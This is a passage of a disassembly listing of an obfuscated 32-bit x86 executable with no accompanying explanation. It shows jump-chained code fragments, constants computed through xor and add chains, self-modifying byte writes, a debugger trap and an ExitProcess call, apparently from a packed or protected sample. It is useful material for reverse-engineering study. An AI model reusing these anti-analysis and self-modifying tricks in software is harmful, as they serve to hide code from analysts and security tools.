		dd 0E9FFFFFDh, 0C15h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_24. PRESS	KEYPAD "+" TO EXPAND]
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_42DDDB:				; CODE XREF: lsqvqpii:0042D4DFj
		jmp	loc_42D0DF
; ---------------------------------------------------------------------------
		dd 0ACC5F700h, 0E979959Bh, 34Fh
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42DDEE:				; CODE XREF: lsqvqpii:0042DB34j
		jmp	locret_42D5CC
; ---------------------------------------------------------------------------
		align 4
		dd 0E9288900h, 9E6h, 0D790C081h, 0C009A33Fh, 7EE840Fh
		dd 28E90000h, 0FFFFF4h
byte_42DE10	db 0Fh			; DATA XREF: sub_42DCC5+16w
					; sub_42E365+Do ...
		db 89h,	0Ah, 0F4h
		dd 820FFFFFh, 0FFFFFCC1h, 87D98B53h, 0CD8B241Ch, 0E9FE8B57h
		dd 16Ch
		db 0
byte_42DE2D	db 0Fh,	82h, 0AAh	; DATA XREF: lsqvqpii:0042D220o
		dd 52FFFFFCh, 1487D58Bh, 0FE3EE824h, 0C300FFFFh, 70E90000h
		dd 0E9FFFFFEh, 0FFFFFAA3h, 0C6C10000h, 0FB86E910h, 5E00FFFFh
		dd 5AAE9h, 14870000h, 6B516824h, 1487B8E4h, 0E9F28B24h
		dd 0FFFFFE7Ch, 0FD030000h, 38106852h, 815AAAAFh, 6A4F6DCAh
		dd 41C28175h, 81B2EA4Bh, 74C14DE2h, 14BE9E7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_42DE92:				; CODE XREF: lsqvqpii:loc_42EE12j
		push	0E38F72CBh
		pop	edx
		xor	edx, 8BAFA8A0h
		and	edx, 0BFB9C219h
		xor	edx, 0F9BF6DF4h
		push	offset loc_42E61F
		jmp	loc_42CCE4
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_42DEB5:				; DATA XREF: sub_42CD93+7E0o
		add	edx, eax
		rol	edx, 3
		jmp	loc_42D118
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CD93


loc_42DEBF:				; CODE XREF: sub_42CD93:loc_42D566j
		js	loc_42E4DE
		call	loc_42D10E
		add	[eax-17h], dl
		popa
		push	cs
; END OF FUNCTION CHUNK	FOR sub_42CD93
; ---------------------------------------------------------------------------
		db 0
		dd 34870000h, 0C0815E24h, 0CE8EE006h, 0E9240487h, 0FFFFEFBFh
		dd 23BE8h, 0E9EA8700h, 442h, 899D0000h,	0EE99E92Eh, 0FFFFh
		dd 42D4A768h, 0C58E900h, 87000000h, 685F243Ch, 42E8D9h
		dd 9C1E9h
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_42DF16	proc near		; CODE XREF: lsqvqpii:loc_42D1A4p
		push	offset loc_42D841
		jmp	nullsub_21
sub_42DF16	endp

; ---------------------------------------------------------------------------
		db 0
byte_42DF21	db 81h,	0C1h, 77h	; DATA XREF: lsqvqpii:0042D0E3o
		dd 9DED5699h, 689C098Bh, 0F4993A5Eh, 0FC39E95Ah, 0C300FFFFh
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D52F


loc_42DF39:				; CODE XREF: sub_42D52F+Aj
		jmp	loc_42D88A
; END OF FUNCTION CHUNK	FOR sub_42D52F
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DC4F


loc_42DF3F:				; CODE XREF: sub_42DC4F+A48j
		cmp	ebp, 6F7BD6A4h
		jmp	loc_42DFF4
; END OF FUNCTION CHUNK	FOR sub_42DC4F
; ---------------------------------------------------------------------------
		dw 0C600h
; ---------------------------------------------------------------------------
		add	al, bl
		pop	edx
		push	edx
		mov	edx, esi
		push	42DE5Eh
		jmp	locret_42E989
; ---------------------------------------------------------------------------
		dd 0C300h		; CODE XREF: lsqvqpii:loc_42EC10j
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EDBB


loc_42DF60:				; CODE XREF: sub_42EDBB-5E0j
		jmp	loc_42E722
; END OF FUNCTION CHUNK	FOR sub_42EDBB
; ---------------------------------------------------------------------------
		align 2
word_42DF66	dw 9C52h		; DATA XREF: lsqvqpii:0042E3FCo
		dd 3DE24D68h, 0C2C15A97h, 46F2810Ah, 0E8D7B13Fh, 0FFFFF61Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

locret_42DF7E:				; CODE XREF: lsqvqpii:0042E815j
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_42DF80:				; CODE XREF: lsqvqpii:0042CEBDj
		jmp	near ptr dword_42CCEC+1Fh
; ---------------------------------------------------------------------------
		align 2
		jmp	loc_42EBE3
; ---------------------------------------------------------------------------
		align 4
		dd 0D3946800h, 0B0E90042h, 0FFFFFEh, 0BE243C87h, 42E371h
		dd 787E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_42DFA6:				; CODE XREF: lsqvqpii:loc_42E6B4j
		push	42D450h
		jmp	locret_42E324
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_42DFB1:				; CODE XREF: lsqvqpii:loc_42CAA8j
		call	sub_42E6D7
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D1B0


loc_42DFB7:				; CODE XREF: sub_42D1B0+Cj
		jmp	locret_42E4AD
; END OF FUNCTION CHUNK	FOR sub_42D1B0
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42DFBE:				; CODE XREF: sub_42E407:loc_42D85Bj
		jz	loc_42CE96
		jmp	loc_42DD67
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		db 0Fh,	85h, 4Bh
		dd 0E8000006h, 0FFFFF601h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42DFD5:				; CODE XREF: sub_42E407+104j
		test	eax, ebp
		jmp	loc_42CE64
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		dd 0BAC28100h, 35C6977h, 3F355AFAh
dword_42DFE8	dd 243C8702h, 62E9D0FFh, 4; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DC4F


loc_42DFF4:				; CODE XREF: sub_42DC4F+2F6j
		jno	loc_42DB5A


loc_42DFFA:				; CODE XREF: sub_42DC4F+A40j
		add	ecx, 0FFA2B4F8h
		popf
		xchg	ecx, [esp+0]
		jmp	loc_42EB9D
; END OF FUNCTION CHUNK	FOR sub_42DC4F
; ---------------------------------------------------------------------------
		db 2 dup(0), 55h
		dd 59240C87h, 0D826D368h, 0BAE95B6Bh, 0FFFFF6h
		db 0
; ---------------------------------------------------------------------------


loc_42E01D:				; CODE XREF: lsqvqpii:loc_42D8CFj
		xor	eax, 0B2B81F32h
		and	eax, 0E8E859BBh
		add	eax, 0D7DAC590h


loc_42E02F:				; DATA XREF: lsqvqpii:0042D591o
		sub	eax, 0F716E800h
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------


loc_42E037:				; CODE XREF: lsqvqpii:0042D0E8j
		jmp	near ptr loc_42CD16+1
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CD93


loc_42E03D:				; CODE XREF: sub_42CD93+Dj
		jz	loc_42D861
		jmp	loc_42DC46
; END OF FUNCTION CHUNK	FOR sub_42CD93
; ---------------------------------------------------------------------------
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_25. PRESS	KEYPAD "+" TO EXPAND]
		db 0E9h
		dd 0FFFFFD15h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D1E0


loc_42E052:				; CODE XREF: sub_42D1E0+5j
		jmp	loc_42E90E
; END OF FUNCTION CHUNK	FOR sub_42D1E0

; =============== S U B	R O U T	I N E =======================================



sub_42E057	proc near		; DATA XREF: lsqvqpii:loc_42E868o
		mov	edx, [eax]
		push	offset loc_42E344
		jmp	nullsub_29
sub_42E057	endp

; ---------------------------------------------------------------------------


loc_42E063:				; CODE XREF: lsqvqpii:0042D071j
		jnb	loc_42E58C
		test	eax, 0CE93C9FAh
		jmp	loc_42D5CF
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_42E076:				; CODE XREF: lsqvqpii:0042DBBCj
		jbe	loc_42D06F
		xchg	ebx, edx
		popf
		mov	[eax], ebx
		jmp	loc_42E08A
; ---------------------------------------------------------------------------
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_13. PRESS	KEYPAD "+" TO EXPAND]
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_42E08A:				; CODE XREF: lsqvqpii:loc_42DBB4j
					; lsqvqpii:0042E081j
		call	sub_42D663
; START	OF FUNCTION CHUNK FOR sub_42D877


loc_42E08F:				; CODE XREF: sub_42D877+1445j
		jmp	loc_42D7DA
; END OF FUNCTION CHUNK	FOR sub_42D877
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_42E096:				; CODE XREF: lsqvqpii:0042D07Bj
		jmp	locret_42E982
; ---------------------------------------------------------------------------
		align 4
		dd 34875E51h, 72846824h, 0E95E7AFBh, 0FFFFF605h
; ---------------------------------------------------------------------------


loc_42E0AC:				; CODE XREF: lsqvqpii:0042DB05j
		mov	byte ptr [ecx],	0FFh
		pop	ecx
		xchg	edx, [esp]


loc_42E0B3:				; DATA XREF: lsqvqpii:0042DB00o
		xor	ds:dword_4210C0, edx
		push	edi
		push	520212F2h
		pop	edi
		rol	edi, 19h
		jmp	loc_42E2FF
; ---------------------------------------------------------------------------
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_42E0CA	proc near		; CODE XREF: lsqvqpii:0042D19Fj

arg_4		= dword	ptr  8

		xchg	edx, [esp+0]
		pop	edx
		push	ebx
		mov	ebx, eax
		xchg	ebx, [esp+0]
		mov	eax, ecx
		xchg	eax, [esp+0]
		call	near ptr dword_42CF68+7
		add	[ecx-436EB63Eh], al ; DATA XREF: lsqvqpii:0042ECDAo
		leave

locret_42E0E5:				; DATA XREF: lsqvqpii:0042D908o
		leave
		xchg	edx, [esp-8+arg_4]
		retn
sub_42E0CA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42E0ED:				; CODE XREF: lsqvqpii:0042E134j
		mov	eax, esi
		xchg	eax, [esp]
		mov	esi, offset loc_42EB0B
		jmp	loc_42ED14
; ---------------------------------------------------------------------------
		dd 0D0F70000h, 0FFF009E9h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42E105:				; CODE XREF: sub_42E407:loc_42DD67j
		adc	edi, edx
		test	esi, 45E40E1Bh
		jmp	loc_42EB34
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		xchg	ebx, [esp]
		pop	ebx
		pop	ebp
		call	ds:dword_4210C0	; ExitProcess
		jmp	loc_42CFA8
; ---------------------------------------------------------------------------
		align 4
		dd 5A241487h, 0FEDEE853h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CD93


loc_42E12E:				; CODE XREF: sub_42CD93+AD6j
		jmp	nullsub_18
; END OF FUNCTION CHUNK	FOR sub_42CD93
; ---------------------------------------------------------------------------
		align 4
		jmp	loc_42E0ED
; ---------------------------------------------------------------------------
		db 2 dup(0), 0Fh
		dd 0FFEB8F86h, 240C87FFh, 24348759h, 0FFFE82E8h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]


loc_42E14E:				; DATA XREF: sub_42CD93+AD1o
		push	edx
		pop	ecx
		push	esi
		mov	esi, offset loc_42E199
		jmp	loc_42E194
; ---------------------------------------------------------------------------
		align 4
		dd 1DE5C100h, 695DE281h, 0A6E93008h, 0FFFFF3h, 580900C6h
		dd 0FFF8F6E8h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_42DD3F


loc_42E176:				; CODE XREF: sub_42DD3F+559j
		jmp	loc_42CBC2
; END OF FUNCTION CHUNK	FOR sub_42DD3F
; ---------------------------------------------------------------------------
		align 4
		dd 0FDB5E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

locret_42E182:				; CODE XREF: lsqvqpii:loc_42DCE6j
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0FFEAA4E9h, 0BD8F0FFFh, 0E9FFFFEBh, 0FFFFF5F4h
; ---------------------------------------------------------------------------


loc_42E194:				; CODE XREF: lsqvqpii:0042E156j
		mov	byte ptr [esi],	87h
		pop	esi
		pop	edx


loc_42E199:				; DATA XREF: lsqvqpii:0042E151o
		xchg	ebx, [esp]
		mov	esi, ebx
		xchg	eax, [esp]
		mov	ebx, eax
		jmp	loc_42D316
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_42E1AA:				; CODE XREF: lsqvqpii:0042D81Aj
		and	ecx, 18AB24FDh
		or	ecx, 0A9D3A1F8h
		add	ecx, 6251788Dh
		add	ecx, ebp
		jmp	loc_42E892
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------


loc_42E1C5:				; CODE XREF: lsqvqpii:loc_42EA38j
		call	loc_42ED42
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D877


loc_42E1CC:				; CODE XREF: sub_42D877-3D6j
		jmp	loc_42E41E
; END OF FUNCTION CHUNK	FOR sub_42D877
; ---------------------------------------------------------------------------
		align 2
		xchg	edx, [esp]
		push	edx
		pop	ecx
		push	offset loc_42E4F9
		jmp	locret_42E4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EA00


loc_42E1E1:				; CODE XREF: sub_42EA00-14F5j
		mov	byte ptr [edi],	87h
		pop	edi
		xor	edi, 72D81156h


loc_42E1EB:				; DATA XREF: sub_42EA00-14FAo
		cmp	[esp-4+arg_0], 0FFFFFFE9h
		popa
		or	[eax], al
; END OF FUNCTION CHUNK	FOR sub_42EA00
; ---------------------------------------------------------------------------
		dw 0
		dd 7B685700h, 0E90042D1h, 89Dh
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_42E203:				; CODE XREF: lsqvqpii:0042D596j
		mov	byte ptr [edi],	8Bh
		pop	edi
		pop	eax
		sub	eax, 565680FDh
		jmp	loc_42D8CF
; ---------------------------------------------------------------------------
		align 4
		dd 0BCC78100h, 873CC0E0h, 41E9243Ch, 0FFFFF9h, 0FF32E468h
		db 89h
; ---------------------------------------------------------------------------


loc_42E229:				; CODE XREF: lsqvqpii:0042DB14j
		xchg	esi, [esp]
		mov	eax, esi
		xchg	ecx, [esp]
		mov	esi, ecx
		pop	ecx
		jmp	near ptr dword_42D3EC+1Dh
; ---------------------------------------------------------------------------


loc_42E239:				; CODE XREF: lsqvqpii:loc_42CFA8j
		push	offset byte_42D157
		jmp	locret_42E65B
; ---------------------------------------------------------------------------
		align 4


loc_42E244:				; CODE XREF: lsqvqpii:loc_42DA85j
		add	ebx, 28AA5A0Bh
		xchg	ebx, [esp]
		jmp	near ptr dword_42CC24+2
; ---------------------------------------------------------------------------
		dw 6800h
		dd 89FF32E4h, 42EE1E68h, 0BAFE900h, 0C3000000h
; ---------------------------------------------------------------------------


loc_42E264:				; CODE XREF: lsqvqpii:0042E88Bj
		jmp	loc_42E69C
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_42E26B:				; DATA XREF: lsqvqpii:0042D5C0o
		add	edx, 74AF6617h
		cmp	edi, edx
		pop	edx
		jmp	loc_42EB28
; ---------------------------------------------------------------------------
		db 2 dup(0), 68h
		dd offset loc_42D53F
; ---------------------------------------------------------------------------
		jmp	locret_42E406
; ---------------------------------------------------------------------------
		align 2
		dw 850Fh
		dd 0FFFFFAC9h, 0FFED22E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_42DD3F


loc_42E292:				; CODE XREF: sub_42DD3F-E0Dj
		test	ecx, 20h
		jmp	loc_42E176
; END OF FUNCTION CHUNK	FOR sub_42DD3F
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_42E29F:				; CODE XREF: lsqvqpii:0042D920j
		or	edx, 2E347E73h
		add	edx, 0D14E4FDAh
		jmp	loc_42CAA8
; ---------------------------------------------------------------------------
		dd 0F9D0000h, 0FFF3BD8Bh, 4A3E9FFh, 992C0000h, 0FFE9ACE8h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42E2C7:				; CODE XREF: sub_42E407-707j
		add	edx, 0ACDE3745h
		jmp	loc_42CAA2
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_42E2D3	proc near		; CODE XREF: lsqvqpii:0042D4C3p

; FUNCTION CHUNK AT 0042DAD1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042E5F8 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0042E9D3 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		add	edi, 0C0725E6h
		mov	edi, [edi]
		popf
		jmp	loc_42DAD1
sub_42E2D3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 2
		mov	byte ptr [edx],	0Fh
		pop	edx
		call	sub_42D1B0
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42E2EF:				; CODE XREF: sub_42E407+1Ej
		and	ebx, 3FBB7CB1h
; END OF FUNCTION CHUNK	FOR sub_42E407
; START	OF FUNCTION CHUNK FOR sub_42D877


loc_42E2F5:				; CODE XREF: sub_42D877:loc_42D49Bj
		jmp	loc_42D53F
; ---------------------------------------------------------------------------


loc_42E2FA:				; CODE XREF: sub_42D877+6j
		call	sub_42D010


loc_42E2FF:				; CODE XREF: lsqvqpii:0042E0C3j
		jmp	loc_42EA49
; END OF FUNCTION CHUNK	FOR sub_42D877
; ---------------------------------------------------------------------------
		dd 0FFF962E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]


loc_42E30A:				; CODE XREF: lsqvqpii:0042CA9Bj
		jmp	loc_42DB64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DD3F


loc_42E30F:				; CODE XREF: sub_42DD3F:loc_42CBC2j
					; lsqvqpii:0042CBD7j
		add	ecx, 0F8025567h
		popf


loc_42E316:				; DATA XREF: sub_42DD3F+5o
		mov	ecx, [ecx]
		pushf
		push	0E93DC290h
		jmp	loc_42EAE8
; END OF FUNCTION CHUNK	FOR sub_42DD3F
; ---------------------------------------------------------------------------
		align 4

locret_42E324:				; CODE XREF: lsqvqpii:0042DFABj
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_42E327:				; CODE XREF: lsqvqpii:0042D853j
		jmp	locret_42CAD8
; ---------------------------------------------------------------------------
		dd 0E843E900h
		db 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_42E332	proc near		; CODE XREF: lsqvqpii:0042CD5Ep

arg_0		= byte ptr  4

; FUNCTION CHUNK AT 0042DAE3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042E359 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042E511 SIZE 00000029 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		xor	ebx, 0DFEF71F3h


loc_42E33C:				; DATA XREF: lsqvqpii:0042D933o
		mov	[esp-4+arg_0], bl
		call	loc_42D694


loc_42E344:				; DATA XREF: sub_42E057+2o
		or	edx, edx
		jz	loc_42E7D7
		push	ebx
		mov	ebx, edi
		xchg	ebx, [esp+0]
		jmp	loc_42E511
sub_42E332	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E332


loc_42E359:				; CODE XREF: sub_42E332+203j
		mov	byte ptr [edi],	50h
		pop	edi
		push	edi
		mov	edi, ecx
		jmp	loc_42DAE3
; END OF FUNCTION CHUNK	FOR sub_42E332

; =============== S U B	R O U T	I N E =======================================



sub_42E365	proc near		; CODE XREF: lsqvqpii:0042EC0Bp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0042EC2B SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		xchg	eax, [esp+0]
		mov	ebx, eax
		pop	eax
		xchg	edi, [esp-4+arg_0]
		inc	ebx
		add	eax, offset byte_42DE10
		push	offset loc_42EAA7
		jmp	loc_42EC2B
sub_42E365	endp

; ---------------------------------------------------------------------------
		xchg	ebp, [esi]
		jmp	loc_42E9DA
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42E389:				; CODE XREF: sub_42E407:loc_42E4EBj
		and	esi, 408D84F1h
		xor	esi, 21D26F36h
		add	esi, 9EE6F190h
		jmp	loc_42D611
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		dd 0C30000h, 0FA95E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DC4F


loc_42E3AA:				; CODE XREF: sub_42DC4F-B76j
		jmp	loc_42E966
; END OF FUNCTION CHUNK	FOR sub_42DC4F
; ---------------------------------------------------------------------------
		align 10h
		db 0
; ---------------------------------------------------------------------------


loc_42E3B1:				; CODE XREF: lsqvqpii:0042DABCj
		xchg	esi, [esp]
		pop	esi
		popf
		xchg	edx, [esp]
		jmp	loc_42EA38
; ---------------------------------------------------------------------------
		align 10h
		dd 0EBA9830Fh, 0CBC1FFFFh, 0EE12E90Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_42E3CE:				; CODE XREF: lsqvqpii:loc_42E58Cj
		xchg	ebx, [esp]
		pop	ebx
		lea	eax, byte_42DDCD
		push	eax
		call	sub_42D52F
		add	[edx-7Fh], bl	; CODE XREF: sub_42E407:loc_42E4AEj
		loop	near ptr loc_42E425+2
		add	ecx, eax
		mov	ebp, 721C281h
		mov	dl, 4Eh
		add	edx, ebp
		jmp	loc_42EDE7
; ---------------------------------------------------------------------------


loc_42E3F3:				; CODE XREF: lsqvqpii:0042E580j
		test	ebx, edx
		pop	edx
		jmp	loc_42D6AC
; ---------------------------------------------------------------------------
		pop	edi
		push	offset word_42DF66
		jmp	loc_42EC10
; ---------------------------------------------------------------------------

locret_42E406:				; CODE XREF: lsqvqpii:0042E280j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42E407	proc near		; CODE XREF: sub_42D877:loc_42D232p

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0042CAA2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CAAE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CC5D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CC71 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042CE64 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042CE96 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CED3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042CFBA SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042CFE0 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042D12C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042D1AB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D1C8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D22D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D35E SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042D3E2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042D520 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042D611 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D651 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042D7C3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042D806 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042D85B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D94C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042D97E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042DB39 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0042DBA5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DC2E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042DCF1 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0042DD67 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DDA2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DDA8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DFBE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042DFD5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042E105 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042E2C7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042E2EF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042E389 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042E505 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042E5BB SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042E65C SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0042E6E5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042E8C9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042E903 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042E929 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E9BD SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042E9F2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042EAEF SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0042EB34 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042EC99 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042ED56 SIZE 00000007 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	esi
		push	2984F384h
		pop	esi
		xor	esi, 0C67D769Fh
		jmp	loc_42E4EB
; ---------------------------------------------------------------------------
		align 2


loc_42E41E:				; CODE XREF: sub_42D877:loc_42E1CCj
		sbb	ebp, 34825E0h
		popf


loc_42E425:				; CODE XREF: lsqvqpii:0042E3E1j
		jmp	loc_42E2EF
; ---------------------------------------------------------------------------
		align 4
		dd 6319D581h, 9BE9AD0Dh, 0FFFFFAh
		db 0
; ---------------------------------------------------------------------------


loc_42E439:				; CODE XREF: lsqvqpii:0042D586j
					; lsqvqpii:loc_42E69Cj
		push	ebx
		mov	ebx, edx
		xchg	ebx, [esp+0]
		call	sub_42EB86
; ---------------------------------------------------------------------------
		db 2 dup(0), 55h
; ---------------------------------------------------------------------------


loc_42E447:				; CODE XREF: sub_42DC4F+D20j
		sbb	ebx, 804F2756h
		sbb	edi, esi
		call	sub_42E7E2
		add	cl, ch
		sahf
		add	[eax], eax
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	nullsub_27
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 0FFFFE87Ah, 0C7C10000h, 0B3EF810Fh, 0E8BCC359h, 0FFFFF03Ah
		db 0
; ---------------------------------------------------------------------------


loc_42E479:				; CODE XREF: sub_42EC73-FC3j
		mov	byte ptr [edx],	8Bh
		pop	edx
		xor	eax, 7B60D942h
		or	eax, 30A08CE4h
		and	eax, 249A1F4Dh
		add	eax, 0DFC1F4D8h
		jmp	loc_42D520
; ---------------------------------------------------------------------------


loc_42E49A:				; CODE XREF: sub_42E407:loc_42D22Dj
		jl	loc_42D12C
		add	[ecx-784E2703h], al
		int	3		; Trap to Debugger
		jmp	loc_42CFE0
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

locret_42E4AD:				; CODE XREF: sub_42D1B0:loc_42DFB7j
		retn
; ---------------------------------------------------------------------------


loc_42E4AE:				; CODE XREF: lsqvqpii:0042E8A3j
		jmp	near ptr loc_42E3DE+1
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------


loc_42E4B5:				; CODE XREF: sub_42D338+10j
		jmp	loc_42DCF1
; ---------------------------------------------------------------------------
word_42E4BA	dw 8B50h		; DATA XREF: sub_42D1B0+7o
		dd 240487C1h, 0FFEB30E8h
		db 0FFh, 0
word_42E4C6	dw 6D68h		; DATA XREF: lsqvqpii:0042D79Ao
		dd 0E90042DDh, 0FFFFFB7Bh, 0F934E900h
		db 2 dup(0FFh)
word_42E4D6	dw 0			; CODE XREF: sub_42D877+CDCj
; ---------------------------------------------------------------------------
		jmp	loc_42E9BD
; ---------------------------------------------------------------------------
		align 2


loc_42E4DE:				; CODE XREF: sub_42CD93+7D9j
